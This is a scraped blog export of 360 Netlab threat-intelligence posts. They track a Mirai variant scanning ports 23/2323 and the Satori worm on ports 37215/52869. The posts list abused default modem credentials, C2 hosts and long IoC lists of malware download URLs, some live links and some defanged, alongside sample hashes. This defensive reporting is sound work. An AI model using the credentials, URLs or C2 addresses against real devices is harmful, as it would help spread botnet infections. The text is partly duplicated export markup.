6c5cadcc9dbcac55b42d1347f4b51df1<br> <a href="http://80.211.173.20:80/amnyu.arm7">http://80.211.173.20:80/amnyu.arm7</a> 2e5ec99ef2cf8878dc588edd8031b249<br> <a href="http://80.211.173.20:80/amnyu.arm7">http://80.211.173.20:80/amnyu.arm7</a> 359527251c09f4ec8b0ad65ab202f1bb<br> <a href="http://80.211.173.20:80/amnyu.arm7">http://80.211.173.20:80/amnyu.arm7</a> 4c21d1f6acfb0155eb877418bb15001d<br> <a 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7ce73df7fb50beda2f549f9695a23538<br> <a href="http://blacklister.nl/bins/mirai.x86">http://blacklister.nl/bins/mirai.x86</a> 539e9bf8c81bd3e9ae520fd74218a6b8<br> <a href="http://blacklister.nl/bins/mirai.x86_64">http://blacklister.nl/bins/mirai.x86_64</a> d69e501480f03f06e4579fa13e47d04a</p> <!--kg-card-end: markdown-->

【2017-11-28 更新】 * 原文中提到的两个C2均已被安全社区sinkhole。 * 原文中的 admin/CentryL1nk 是 admin/CenturyL1nk 的笔误。 大约60个小时以前，从2017-11-22 11:00开始，360网络安全研究院注意到在端口2323和23上的扫描流量有一个暴涨现象。其中主要扫描者，大约10万个扫描IP地址位于阿根廷，同时360网络安全研究院也注意到大约有5千个IP地址来自国内。分析以后，目前比较确定这是一个新的mirai变种。 根因分析 在我们蜜罐中，最近有两个新的用户名密码被频繁使用到，分别是 admin/CentryL1nk 和 admin/QwestM0dem 。值得一提，admin/CentryL1nk 这对用户名密码是针对ZyXEL PK5001Z 调制解调器的，在一份上月底的利用 中被批露。 上述两个用户名密码对，被滥用的初始时间在2017-11-22 11:00附近，在2017-11-23 日间达到顶峰。这个时间曲线与我们在Scanmon上观察到2323/23端口的扫描曲线比较一致。 另外，蜜罐看到的滥用两个用户名密码对的IP地址，与ScanMon上看到的IP来源地址，也有较大重合： * admin/CentryL1nk : 748 (66.5%) 对 1125 * admin/QwestM0dem : 1175 (69.4%) 对 1694 基于以上IP范围重合程度和时间曲线重合程度，我们认为这就是根本原因。 图1 两个正在被滥用的用户名密码对 图2 端口2323上的扫描暴涨 恶意代码和C2 对应的恶意代码样本如下： * 0ee0fc76a8d8ad37374f4ac3553d8937 * 018a9569f559bfafbc433dc81caf3ec0 * be6165a3e131cc92d3f7d51284cf70bb 样本中的C2 如下： * bigboatreps.pw:23 * blacklister.nl:23 目前为止大约10万台感染机器位于阿根廷，国内也有超过5千个IP感染 我们注意到，扫描者IP绝大多数来自阿根廷，过去24小时内有6万5千个，60小时内接近10万个。国内的感染IP也有超过5千个。 图3 绝大多数的感染机器来自阿根廷 我们据此猜测，这次攻击针对某些特定类型的IoT设备，而这些IoT设备在阿根廷被大量部署，这次的情况跟去年德国电信相关事件的情况比较类似。 IoC C2 bigboatreps.pw:23 blacklister.nl:23 样本md5和下载URL列表 http://80.211.173.20:80/amnyu.arm 0255c6d7b88947c7bc82c9b06169e69d http://80.211.173.20:80/amnyu.arm 3e72bbab07516010ab537d7236c48a2c http://80.211.173.20:80/amnyu.arm 6c5cadcc9dbcac55b42d1347f4b51df1 http://80.211.173.20:80/amnyu.arm7 2e5ec99ef2cf8878dc588edd8031b249 http://80.211.173.20:80/amnyu.arm7 359527251c09f4ec8b0ad65ab202f1bb http://80.211.173.20:80/amnyu.arm7 4c21d1f6acfb0155eb877418bb15001d http://80.211.173.20:80/amnyu.arm7 5cd69f7c5cd6aef4f4b8e08181028314 http://80.211.173.20:80/amnyu.arm7 794f01740878252e8df257b0511c65df http://80.211.173.20:80/amnyu.arm7 b0791270cc6b180ff798440f416f6271 http://80.211.173.20:80/amnyu.arm7 eee4ff0e2c9482acea3251c9c2ce6daf http://80.211.173.20:80/amnyu.arm a6f11eba76debd49ee248b6539c4d83c http://80.211.173.20:80/amnyu.arm ccc8761335b2d829dff739aece435eac http://80.211.173.20:80/amnyu.arm dd10fb3ed22a05e27bca3008c0558001 http://80.211.173.20:80/amnyu.arm e090660bbc7c673bf81680648718e39e http://80.211.173.20:80/amnyu.m68k 1782f07f02d746c13ede8388329921e4 http://80.211.173.20:80/amnyu.m68k 4ccd3036cadcbe2a0c4b28ce4ad77b7b http://80.211.173.20:80/amnyu.m68k 84d737bc5a1821c2f21489695c2c3a71 http://80.211.173.20:80/amnyu.m68k 8f347206f06b05ea8d2e8ea03f4f92d4 http://80.211.173.20:80/amnyu.m68k 94353157ddcd3cb40a75a5ecc1044115 http://80.211.173.20:80/amnyu.m68k b1c66e2a2ed68087df706262b12ca059 http://80.211.173.20:80/amnyu.m68k b8aedf6ee75e4d6b6beeafc51b809732 http://80.211.173.20:80/amnyu.mips 0ee0fc76a8d8ad37374f4ac3553d8937 http://80.211.173.20:80/amnyu.mips 2aa0c53d7d405fa6ffb7ccb895fb895f http://80.211.173.20:80/amnyu.mips 56b74e34ddf0111700a89592b5a8b010 http://80.211.173.20:80/amnyu.mips 62fa57f007a32f857a7e1d9fb5e064eb http://80.211.173.20:80/amnyu.mips 633df071ac6f1d55193fc4c5c8747f2a http://80.211.173.20:80/amnyu.mips 6eed6b55c5cd893aa584894a07eec32f http://80.211.173.20:80/amnyu.mips 97c314a2a100ea4987e73e008225d3be http://80.211.173.20:80/amnyu.mpsl 09d98cbaa9794184841450221d410f15 http://80.211.173.20:80/amnyu.mpsl 21f1ab847a9b27f8aaabcafd9cf59756 http://80.211.173.20:80/amnyu.mpsl 33e1e2803bb70cd0d66911175782c6a1 http://80.211.173.20:80/amnyu.mpsl 4e63eccca00b01b66162fa5258d03956 http://80.211.173.20:80/amnyu.mpsl 7d2c1f3d81a2df7beea99552d0704c2d http://80.211.173.20:80/amnyu.mpsl 7e0f883f239c922a151aab2500400880 http://80.211.173.20:80/amnyu.mpsl e46cbc10309e970ec267afee496832c9 http://80.211.173.20:80/amnyu.ppc 3dadafe1cc9639a7d374682dafab954c http://80.211.173.20:80/amnyu.ppc 49e4b3e5d7302c2faf08c1ed585a89ca http://80.211.173.20:80/amnyu.ppc 80bcea07b752ae4306da5f24f6693bea http://80.211.173.20:80/amnyu.ppc 9e4caeada13676ddc5b7be44e03fe396 http://80.211.173.20:80/amnyu.ppc a40852f9895d956fe198cb2f2f702ebf http://80.211.173.20:80/amnyu.ppc a8bde89d2fe98268801b58f42214cdca http://80.211.173.20:80/amnyu.ppc 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http://80.211.173.20:80/amnyu.x86 018a9569f559bfafbc433dc81caf3ec0 http://80.211.173.20:80/amnyu.x86 1663952daca0c49326fb8fa5585d8eec http://80.211.173.20:80/amnyu.x86 243d2c8ba1c30fa81043a82eaa7756e7 http://80.211.173.20:80/amnyu.x86 4b375509896e111ef4c3eb003d38077f http://80.211.173.20:80/amnyu.x86 6371b6b1d030ac7d2cb1b0011230f97f http://80.211.173.20:80/amnyu.x86 64bda230a3b31a115a29e0afd8df5d8a http://80.211.173.20:80/amnyu.x86 ed825b8aadee560e5c70ffaa5b441438 http://80.211.173.20/amnyu.arm7 b0791270cc6b180ff798440f416f6271 http://80.211.173.20/amnyu.arm e090660bbc7c673bf81680648718e39e http://80.211.173.20/amnyu.m68k 4ccd3036cadcbe2a0c4b28ce4ad77b7b http://80.211.173.20/amnyu.mips 97c314a2a100ea4987e73e008225d3be http://80.211.173.20/amnyu.mpsl 7d2c1f3d81a2df7beea99552d0704c2d http://80.211.173.20/amnyu.ppc e968bf902db104c91d3aaa0bb363f1bd http://80.211.173.20/amnyu.sh4 485f2b2a684865ead274bba6931c95c9 http://80.211.173.20/amnyu.spc 5db44876c3acc0b589c8d696c41b6413 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{"version":"0.3.1","markups":[],"atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"【2017-11-28 更新】\n\n* 原文中提到的两个C2均已被安全社区sinkhole。\n* 原文中的 admin/CentryL1nk 是 admin/CenturyL1nk 的笔误。\n\n\n大约60个小时以前，从2017-11-22 11:00开始，360网络安全研究院注意到在端口2323和23上的扫描流量有一个暴涨现象。其中主要扫描者，大约10万个扫描IP地址位于阿根廷，同时360网络安全研究院也注意到大约有5千个IP地址来自国内。分析以后，目前比较确定这是一个**新的mirai变种**。\n\n\n####根因分析\n在我们蜜罐中，最近有两个新的用户名密码被频繁使用到，分别是 **admin/CentryL1nk** 和 **admin/QwestM0dem** 。值得一提，admin/CentryL1nk 这对用户名密码是针对ZyXEL PK5001Z 调制解调器的，在一份上月底的[利用](https://www.exploit-db.com/exploits/43105/) 中被批露。\n\n上述两个用户名密码对，被滥用的初始时间在2017-11-22 11:00附近，在2017-11-23 日间达到顶峰。这个时间曲线与我们在[**Scanmon**](http://scan.netlab.360.com/#/dashboard?tsbeg=1510934400000&tsend=1511539200000&dstport=2323&toplistname=srcas&topn=30)上观察到2323/23端口的扫描曲线比较一致。\n\n另外，蜜罐看到的滥用两个用户名密码对的IP地址，与ScanMon上看到的IP来源地址，也有较大重合：\n\n * admin/CentryL1nk : 748 (66.5%) 对 1125\n * admin/QwestM0dem : 1175 (69.4%) 对 1694\n\n基于以上IP范围重合程度和时间曲线重合程度，我们认为这就是根本原因。\n\n\n 图1 两个正在被滥用的用户名密码对\n\n\n 图2 端口2323上的扫描暴涨\n\n####恶意代码和C2\n对应的恶意代码样本如下：\n\n* 0ee0fc76a8d8ad37374f4ac3553d8937\n* 018a9569f559bfafbc433dc81caf3ec0\n* be6165a3e131cc92d3f7d51284cf70bb\n\n样本中的C2 如下：\n\n* bigboatreps.pw:23\n* blacklister.nl:23\n\n\n####目前为止大约10万台感染机器位于阿根廷，国内也有超过5千个IP感染\n我们注意到，扫描者IP绝大多数来自阿根廷，过去24小时内有6万5千个，60小时内接近10万个。国内的感染IP也有超过5千个。\n\n\n 图3 绝大多数的感染机器来自阿根廷\n\n我们据此猜测，这次攻击针对某些特定类型的IoT设备，而这些IoT设备在阿根廷被大量部署，这次的情况跟去年[德国电信](__GHOST_URL__/a-mirai-botnet-evolvement-new-variant-and-old-c2/)相关事件的情况比较类似。\n\n####IoC\n######C2 \nbigboatreps.pw:23\nblacklister.nl:23\n\n\n######样本md5和下载URL列表\n\nhttp://80.211.173.20:80/amnyu.arm\t0255c6d7b88947c7bc82c9b06169e69d\nhttp://80.211.173.20:80/amnyu.arm\t3e72bbab07516010ab537d7236c48a2c\nhttp://80.211.173.20:80/amnyu.arm\t6c5cadcc9dbcac55b42d1347f4b51df1\nhttp://80.211.173.20:80/amnyu.arm7\t2e5ec99ef2cf8878dc588edd8031b249\nhttp://80.211.173.20:80/amnyu.arm7\t359527251c09f4ec8b0ad65ab202f1bb\nhttp://80.211.173.20:80/amnyu.arm7\t4c21d1f6acfb0155eb877418bb15001d\nhttp://80.211.173.20:80/amnyu.arm7\t5cd69f7c5cd6aef4f4b8e08181028314\nhttp://80.211.173.20:80/amnyu.arm7\t794f01740878252e8df257b0511c65df\nhttp://80.211.173.20:80/amnyu.arm7\tb0791270cc6b180ff798440f416f6271\nhttp://80.211.173.20:80/amnyu.arm7\teee4ff0e2c9482acea3251c9c2ce6daf\nhttp://80.211.173.20:80/amnyu.arm\ta6f11eba76debd49ee248b6539c4d83c\nhttp://80.211.173.20:80/amnyu.arm\tccc8761335b2d829dff739aece435eac\nhttp://80.211.173.20:80/amnyu.arm\tdd10fb3ed22a05e27bca3008c0558001\nhttp://80.211.173.20:80/amnyu.arm\te090660bbc7c673bf81680648718e39e\nhttp://80.211.173.20:80/amnyu.m68k\t1782f07f02d746c13ede8388329921e4\nhttp://80.211.173.20:80/amnyu.m68k\t4ccd3036cadcbe2a0c4b28ce4ad77b7b\nhttp://80.211.173.20:80/amnyu.m68k\t84d737bc5a1821c2f21489695c2c3a71\nhttp://80.211.173.20:80/amnyu.m68k\t8f347206f06b05ea8d2e8ea03f4f92d4\nhttp://80.211.173.20:80/amnyu.m68k\t94353157ddcd3cb40a75a5ecc1044115\nhttp://80.211.173.20:80/amnyu.m68k\tb1c66e2a2ed68087df706262b12ca059\nhttp://80.211.173.20:80/amnyu.m68k\tb8aedf6ee75e4d6b6beeafc51b809732\nhttp://80.211.173.20:80/amnyu.mips\t0ee0fc76a8d8ad37374f4ac3553d8937\nhttp://80.211.173.20:80/amnyu.mips\t2aa0c53d7d405fa6ffb7ccb895fb895f\nhttp://80.211.173.20:80/amnyu.mips\t56b74e34ddf0111700a89592b5a8b010\nhttp://80.211.173.20:80/amnyu.mips\t62fa57f007a32f857a7e1d9fb5e064eb\nhttp://80.211.173.20:80/amnyu.mips\t633df071ac6f1d55193fc4c5c8747f2a\nhttp://80.211.173.20:80/amnyu.mips\t6eed6b55c5cd893aa584894a07eec32f\nhttp://80.211.173.20:80/amnyu.mips\t97c314a2a100ea4987e73e008225d3be\nhttp://80.211.173.20:80/amnyu.mpsl\t09d98cbaa9794184841450221d410f15\nhttp://80.211.173.20:80/amnyu.mpsl\t21f1ab847a9b27f8aaabcafd9cf59756\nhttp://80.211.173.20:80/amnyu.mpsl\t33e1e2803bb70cd0d66911175782c6a1\nhttp://80.211.173.20:80/amnyu.mpsl\t4e63eccca00b01b66162fa5258d03956\nhttp://80.211.173.20:80/amnyu.mpsl\t7d2c1f3d81a2df7beea99552d0704c2d\nhttp://80.211.173.20:80/amnyu.mpsl\t7e0f883f239c922a151aab2500400880\nhttp://80.211.173.20:80/amnyu.mpsl\te46cbc10309e970ec267afee496832c9\nhttp://80.211.173.20:80/amnyu.ppc\t3dadafe1cc9639a7d374682dafab954c\nhttp://80.211.173.20:80/amnyu.ppc\t49e4b3e5d7302c2faf08c1ed585a89ca\nhttp://80.211.173.20:80/amnyu.ppc\t80bcea07b752ae4306da5f24f6693bea\nhttp://80.211.173.20:80/amnyu.ppc\t9e4caeada13676ddc5b7be44e03fe396\nhttp://80.211.173.20:80/amnyu.ppc\ta40852f9895d956fe198cb2f2f702ebf\nhttp://80.211.173.20:80/amnyu.ppc\ta8bde89d2fe98268801b58f42214cdca\nhttp://80.211.173.20:80/amnyu.ppc\te968bf902db104c91d3aaa0bb363f1bd\nhttp://80.211.173.20:80/amnyu.sh4\t141930ed206ef5f076b2a233b390ea65\nhttp://80.211.173.20:80/amnyu.sh4\t1bdaf4cd21fb9cb42d971a25fb183d04\nhttp://80.211.173.20:80/amnyu.sh4\t25d3ddb85bf392c273dd93922199628c\nhttp://80.211.173.20:80/amnyu.sh4\t39eddba755333e22841b2627a2a19e59\nhttp://80.211.173.20:80/amnyu.sh4\t485f2b2a684865ead274bba6931c95c9\nhttp://80.211.173.20:80/amnyu.sh4\t56afda94860e8d1ca8a7b9960769020d\nhttp://80.211.173.20:80/amnyu.sh4\t9dc0c166e30922d1ea8da06ba46996dc\nhttp://80.211.173.20:80/amnyu.spc\t3f0322c0b7379e492a17d3cb4fa2c82e\nhttp://80.211.173.20:80/amnyu.spc\t53c60f58ce576071c71ede7df656e823\nhttp://80.211.173.20:80/amnyu.spc\t5db44876c3acc0b589c8d696c41b6413\nhttp://80.211.173.20:80/amnyu.spc\t651b186b04583f0067d4cc2d95565a95\nhttp://80.211.173.20:80/amnyu.spc\ta18b4a6250f51c1f350b37e1187292fb\nhttp://80.211.173.20:80/amnyu.spc\tc5e1a57671dab607b8fa7363ab6582ab\nhttp://80.211.173.20:80/amnyu.spc\te6cd9197d443fb9fa79ab103232e2b67\nhttp://80.211.173.20:80/amnyu.x86\t018a9569f559bfafbc433dc81caf3ec0\nhttp://80.211.173.20:80/amnyu.x86\t1663952daca0c49326fb8fa5585d8eec\nhttp://80.211.173.20:80/amnyu.x86\t243d2c8ba1c30fa81043a82eaa7756e7\nhttp://80.211.173.20:80/amnyu.x86\t4b375509896e111ef4c3eb003d38077f\nhttp://80.211.173.20:80/amnyu.x86\t6371b6b1d030ac7d2cb1b0011230f97f\nhttp://80.211.173.20:80/amnyu.x86\t64bda230a3b31a115a29e0afd8df5d8a\nhttp://80.211.173.20:80/amnyu.x86\ted825b8aadee560e5c70ffaa5b441438\nhttp://80.211.173.20/amnyu.arm7\tb0791270cc6b180ff798440f416f6271\nhttp://80.211.173.20/amnyu.arm\te090660bbc7c673bf81680648718e39e\nhttp://80.211.173.20/amnyu.m68k\t4ccd3036cadcbe2a0c4b28ce4ad77b7b\nhttp://80.211.173.20/amnyu.mips\t97c314a2a100ea4987e73e008225d3be\nhttp://80.211.173.20/amnyu.mpsl\t7d2c1f3d81a2df7beea99552d0704c2d\nhttp://80.211.173.20/amnyu.ppc\te968bf902db104c91d3aaa0bb363f1bd\nhttp://80.211.173.20/amnyu.sh4\t485f2b2a684865ead274bba6931c95c9\nhttp://80.211.173.20/amnyu.spc\t5db44876c3acc0b589c8d696c41b6413\nhttp://80.211.173.20/amnyu.x86\t4b375509896e111ef4c3eb003d38077f\nhttp://blacklister.nl/bins/mirai.arm\tbe6165a3e131cc92d3f7d51284cf70bb\nhttp://blacklister.nl/bins/mirai.arm5n\tc639bc6b50ab0be250147572956a9d6b\nhttp://blacklister.nl/bins/mirai.arm6\t8f9c5099e3749d0199262289c9deaa3d\nhttp://blacklister.nl/bins/mirai.arm7\te508956188f2cb71605ae0e8fbdf4a64\nhttp://blacklister.nl/bins/mirai.i486\t25846ce769f0bd5b204f440127d51f21\nhttp://blacklister.nl/bins/mirai.i686\td3c82dd5d512304efc6a42018f0bf2a7\nhttp://blacklister.nl/bins/mirai.m68k\t3ef657efcfe16ad869a587d30480306f\nhttp://blacklister.nl/bins/mirai.mips\tb4af22c2b3b1af68f323528ee0bc6637\nhttp://blacklister.nl/bins/mirai.mips64\t1e1d6b41a13c97ad3754815021dd0891\nhttp://blacklister.nl/bins/mirai.mpsl\t6adb31781db797712d759f564b9761b6\nhttp://blacklister.nl/bins/mirai.ppc\t7936cc1d021664892c48408ec1c9143c\nhttp://blacklister.nl/bins/mirai.ppc440fp\tfd6235e4e1cf4a0f6c2d609a7b1ffc55\nhttp://blacklister.nl/bins/mirai.sh4\t5c8ef7f23f26e0e48ab527ef83874213\nhttp://blacklister.nl/bins/mirai.spc\t7ce73df7fb50beda2f549f9695a23538\nhttp://blacklister.nl/bins/mirai.x86\t539e9bf8c81bd3e9ae520fd74218a6b8\nhttp://blacklister.nl/bins/mirai.x86_64\td69e501480f03f06e4579fa13e47d04a"}]],"sections":[[10,0]],"ghostVersion":"3.0"}

74

post

2017-12-05T08:05:23.000Z

63873b9a8b1c1e0007f52f04

warning-satori-a-new-mirai-variant-is-spreading-in-worm-style-on-port-37215-and-52869-en

2020-04-15T11:08:31.000Z

public

published

2017-12-05T16:52:20.000Z

Warning: Satori, a Mirai Branch Is Spreading in Worm Style on Port 37215 and 52869

<!--kg-card-begin: markdown--><p>Author: 360 netlab</p> <pre><code>[Update History] - At 2017-12-05 18:56:40 UTC, 2 hours after our blog goes live, we observed the C2 sending kill scan command to the bots, and that explains why the scan activities on the two ports started to drop on a global scale. - The C2 address 95.211.123.69:7654 is the typo for 95.211.123.69:7645 </code></pre> <p>In our last <a href="__GHOST_URL__/early-warning-a-new-mirai-variant-is-spreading-quickly-on-port-23-and-2323-en/">blog</a>, we mentioned there were almost 100k unique scanner IPs from Argentina scanning port 2323 and port 23, and we concluded it was a new mirai variant. For the last few days, the scanning behavior has gotten more intense, and more countries started to show up on our ScanMon platform as scan source. We have been able to dig more into this situation and see some bigger picture, and realized that the 2323|23 scan is only a piece of a big puzzler, while we are still doing more in-depth research into this matter, we bumped into a new situation today which we think needs some immediate attention from the security community, so here is a very brief and rough write-up.</p> <p><strong>About 12 hours ago</strong> (2017-12-05 11:57 AM GMT+8), we noticed a new version of Satori (a mirai variant which we named Satori), starting to propagate very quickly on port 37215 and 52869. This new variant has two significant differences from known mirai variants:</p> <ul> <li> <p>The bot itself now does NOT rely on loader|scanner mechanism to perform remote planting, instead, bot itself performs the scan activity. This worm like behavior is quite significant.</p> </li> <li> <p>Two new exploits, which work on port 37215 and 52869 have been added, see below for more details. Due to the worm like behavior, we all should be on the lookout for the port 37215 and 52869 scan traffic. (For those who don’t have the visibility, feel free to check out our free Scanmon system for port <a href="http://scan.netlab.360.com/#/dashboard?tsbeg=1511884800000&amp;tsend=1512489600000&amp;dstport=37215&amp;toplistname=srcip&amp;topn=10&amp;sortby=sum">37215</a> and <a href="http://scan.netlab.360.com/#/dashboard?tsbeg=1511884800000&amp;tsend=1512489600000&amp;dstport=52869&amp;toplistname=srcip&amp;topn=10&amp;sortby=sum">52869</a>, or ISC port pages for <a href="https://isc.sans.edu/port.html?port=37215">37215</a> and <a href="https://isc.sans.edu/port.html?port=52869">52869</a>.</p> </li> </ul> <p><strong>This malware is the newest version of Satori</strong>. We have been tracking Satori for months, and have strong evidence this new wave of attack can be linked to <a href="__GHOST_URL__/early-warning-a-new-mirai-variant-is-spreading-quickly-on-port-23-and-2323-en/">previous attack</a> on port 23 and 2323 scanning traffic upticks.</p> <p>The scanning IP (aka, the bot) numbers are now climbing straight up. For example, during last recent 12 hours we have seen 263,250 different IPs scanning port 37215, and 19,403 IPs scanning port 52869.</p> <p><img src="__GHOST_URL__/content/images/2017/12/11_sharp_increase_of_scanning_ip_on_port_52869_in_darknet-1.png" alt="" loading="lazy"></p> <h5 id="themalwaresampleandthec2s">The Malware Sample and the C2s</h5> <p>We have collected following samples from our honeypot.</p> <pre><code>df9c48e8bc7e7371b4744a2ef8b83ddf hxxp://95.211.123.69/b a7922bce9bb0cf58f305d17ccbc78d98 hxxp://95.211.123.69/fahwrzadws/okiru.mipsel 37b7c9831334de97c762dff7a1ba7b3f hxxp://95.211.123.69/fahwrzadws/okiru.arm7 e1411cc1726afe6fb8d09099c5fb2fa6 hxxp://95.211.123.69/fahwrzadws/okiru.x86 cd4de0ae80a6f11bca8bec7b590e5832 hxxp://95.211.123.69/fahwrzadws/okiru.x86 7de55e697cd7e136dbb82b0713a01710 hxxp://95.211.123.69/fahwrzadws/okiru.mips 797458f9cee3d50e8f651eabc6ba6031 hxxp://95.211.123.69/fahwrzadws/okiru.m68k 353d36ad621e350f6fce7a48e598662b hxxp://95.211.123.69/fahwrzadws/okiru.arm 8db073743319c8fca5d4596a7a8f9931 hxxp://95.211.123.69/fahwrzadws/okiru.sparc 0a8efeb4cb15c5b599e0d4fb9faba37d hxxp://95.211.123.69/fahwrzadws/okiru.powerpc 08d48000a47af6f173eba6bb16265670 hxxp://95.211.123.69/fahwrzadws/okiru.x86_64 e9038f7f9c957a4e1c6fc8489994add4 hxxp://95.211.123.69/fahwrzadws/okiru.superh </code></pre> <p>Satori borrows code from mirai with some major changes.</p> <p>there are 3 C2s in the sample e1411cc1726afe6fb8d09099c5fb2fa6 we got,</p> <ul> <li>95.211.123.69:7645</li> <li>network.bigbotpein.com:23</li> <li>control.almashosting.ru</li> </ul> <p>Note: the only working c2 is <strong>95.211.123.69:7645</strong>, the other network.bigbotpein.com:23 and control.almashosting.ru is not actually being used here, they might be there just to trick security researcher to connect to the wrong C2s. (Note again, we also have old samples, as well as some fresh new samples coming in, in which control.almashosting.ru is really been used.)</p> <h5 id="thescanningactivity">The Scanning Activity</h5> <p>As can be seen from the following picture, the bot will scan port 37215 and 52869 randomly, determined by the remainder of a random integer mod 3.</p> <p><img src="__GHOST_URL__/content/images/2017/12/12_scanning_activity_in_samples.png" alt="" loading="lazy"></p> <h5 id="theexploits">The Exploits</h5> <p>During the scanning, Satori will utilize two different exploits, one on port 37215, while the other on 52869.</p> <ul> <li>The one on port 37215 is not fully disclosed yet, our team has been tracking this in the last few days and got quite some insight, but we will not discuss it here right now.(stay tuned for our update later).</li> <li>The one on port 52869 is derived from <a href="https://www.exploit-db.com/exploits/37169/">CVE-2014-8361</a>.</li> </ul> <p>Not only are Satori penetrating with these exploits, but they also drive infected devices to download themselves from the same original download URL. This makes a loop, and causes Satori spreading in a <code>worm</code> manner.</p> <h5 id="theconnectiontopreviousport23and2323scanningupticks">The Connection to Previous Port 23 and 2323 Scanning Upticks</h5> <p>In our <a href="__GHOST_URL__/early-warning-a-new-mirai-variant-is-spreading-quickly-on-port-23-and-2323-en/">previous blog</a>, we have mentioned an upticks on port 23 and 2323 scanning traffic in Argentina.</p> <p>Actually, in the next few days, more countries such as Egypt, Tunisia, Columbia have been picked up by our monitoring system, as we mentioned in the beginning of this blogpost, our investigation reveals the port scan is only part of the whole picture.</p> <p>Right now we just want to point out that the 2323|23 attacks and today Satori’s attack shares some common factors, for example, the samples’ name and static features, some of the C2 protocols and sharing of the same exploits. These make we believe they two are connected.</p> <p>We will share more details on our blog later on.</p> <h5 id="ioc">IoC</h5> <h6 id="samplesinthiswave">Samples in This Wave</h6> <p>Satori is evolving as of our writing, we have capture some more samples with difference c2..etc, so here is only some of the IoCs.</p> <pre><code>df9c48e8bc7e7371b4744a2ef8b83ddf hxxp://95.211.123.69/b a7922bce9bb0cf58f305d17ccbc78d98 hxxp://95.211.123.69/fahwrzadws/okiru.mipsel 37b7c9831334de97c762dff7a1ba7b3f hxxp://95.211.123.69/fahwrzadws/okiru.arm7 e1411cc1726afe6fb8d09099c5fb2fa6 hxxp://95.211.123.69/fahwrzadws/okiru.x86 cd4de0ae80a6f11bca8bec7b590e5832 hxxp://95.211.123.69/fahwrzadws/okiru.x86 7de55e697cd7e136dbb82b0713a01710 hxxp://95.211.123.69/fahwrzadws/okiru.mips 797458f9cee3d50e8f651eabc6ba6031 hxxp://95.211.123.69/fahwrzadws/okiru.m68k 353d36ad621e350f6fce7a48e598662b hxxp://95.211.123.69/fahwrzadws/okiru.arm 8db073743319c8fca5d4596a7a8f9931 hxxp://95.211.123.69/fahwrzadws/okiru.sparc 0a8efeb4cb15c5b599e0d4fb9faba37d hxxp://95.211.123.69/fahwrzadws/okiru.powerpc 08d48000a47af6f173eba6bb16265670 hxxp://95.211.123.69/fahwrzadws/okiru.x86_64 e9038f7f9c957a4e1c6fc8489994add4 hxxp://95.211.123.69/fahwrzadws/okiru.superh </code></pre> <h6 id="someearliersamples">Some Earlier Samples</h6> <pre><code>c63820d8aff3b18b3ee0eaee4e9d26b0 hxxp://172.93.97.219/okiru.mipsel fd2bd0bf25fc306cc391bdcde1fcaeda hxxp://172.93.97.219/okiru.arm ba98c78a65ebf17615fee9a7ef34b405 hxxp://172.93.97.219/okiru.arm7 8a561bda915c89668e611b0ba72b0429 hxxp://172.93.97.219/okiru.m68k f8130e86dc0fcdbcfa0d3b2425d3fcbf hxxp://172.93.97.219/okiru.x86 7a38ee6ee15bd89d50161b3061b763ea hxxp://172.93.97.219/okiru.mips 3f401fc6b8a5847376e4d070505bd9fe hxxp://172.93.97.219/cryptonite.mips a69692a2506f2127b23a8c35abe11427 hxxp://165.227.220.202/bins/mips hxxp://198.7.59.177/fahwrzadws/okiru.mips hxxp://198.7.59.177/cryptonite.mips </code></pre> <!--kg-card-end: markdown-->

Author: 360 netlab [Update History] - At 2017-12-05 18:56:40 UTC, 2 hours after our blog goes live, we observed the C2 sending kill scan command to the bots, and that explains why the scan activities on the two ports started to drop on a global scale. - The C2 address 95.211.123.69:7654 is the typo for 95.211.123.69:7645 In our last blog, we mentioned there were almost 100k unique scanner IPs from Argentina scanning port 2323 and port 23, and we concluded it was a new mirai variant. For the last few days, the scanning behavior has gotten more intense, and more countries started to show up on our ScanMon platform as scan source. We have been able to dig more into this situation and see some bigger picture, and realized that the 2323|23 scan is only a piece of a big puzzler, while we are still doing more in-depth research into this matter, we bumped into a new situation today which we think needs some immediate attention from the security community, so here is a very brief and rough write-up. About 12 hours ago (2017-12-05 11:57 AM GMT+8), we noticed a new version of Satori (a mirai variant which we named Satori), starting to propagate very quickly on port 37215 and 52869. This new variant has two significant differences from known mirai variants: * The bot itself now does NOT rely on loader|scanner mechanism to perform remote planting, instead, bot itself performs the scan activity. This worm like behavior is quite significant. * Two new exploits, which work on port 37215 and 52869 have been added, see below for more details. Due to the worm like behavior, we all should be on the lookout for the port 37215 and 52869 scan traffic. (For those who don’t have the visibility, feel free to check out our free Scanmon system for port 37215 and 52869, or ISC port pages for 37215 and 52869. This malware is the newest version of Satori. We have been tracking Satori for months, and have strong evidence this new wave of attack can be linked to previous attack on port 23 and 2323 scanning traffic upticks. The scanning IP (aka, the bot) numbers are now climbing straight up. For example, during last recent 12 hours we have seen 263,250 different IPs scanning port 37215, and 19,403 IPs scanning port 52869. The Malware Sample and the C2s We have collected following samples from our honeypot. df9c48e8bc7e7371b4744a2ef8b83ddf hxxp://95.211.123.69/b a7922bce9bb0cf58f305d17ccbc78d98 hxxp://95.211.123.69/fahwrzadws/okiru.mipsel 37b7c9831334de97c762dff7a1ba7b3f hxxp://95.211.123.69/fahwrzadws/okiru.arm7 e1411cc1726afe6fb8d09099c5fb2fa6 hxxp://95.211.123.69/fahwrzadws/okiru.x86 cd4de0ae80a6f11bca8bec7b590e5832 hxxp://95.211.123.69/fahwrzadws/okiru.x86 7de55e697cd7e136dbb82b0713a01710 hxxp://95.211.123.69/fahwrzadws/okiru.mips 797458f9cee3d50e8f651eabc6ba6031 hxxp://95.211.123.69/fahwrzadws/okiru.m68k 353d36ad621e350f6fce7a48e598662b hxxp://95.211.123.69/fahwrzadws/okiru.arm 8db073743319c8fca5d4596a7a8f9931 hxxp://95.211.123.69/fahwrzadws/okiru.sparc 0a8efeb4cb15c5b599e0d4fb9faba37d hxxp://95.211.123.69/fahwrzadws/okiru.powerpc 08d48000a47af6f173eba6bb16265670 hxxp://95.211.123.69/fahwrzadws/okiru.x86_64 e9038f7f9c957a4e1c6fc8489994add4 hxxp://95.211.123.69/fahwrzadws/okiru.superh Satori borrows code from mirai with some major changes. there are 3 C2s in the sample e1411cc1726afe6fb8d09099c5fb2fa6 we got, * 95.211.123.69:7645 * network.bigbotpein.com:23 * control.almashosting.ru Note: the only working c2 is 95.211.123.69:7645, the other network.bigbotpein.com:23 and control.almashosting.ru is not actually being used here, they might be there just to trick security researcher to connect to the wrong C2s. (Note again, we also have old samples, as well as some fresh new samples coming in, in which control.almashosting.ru is really been used.) The 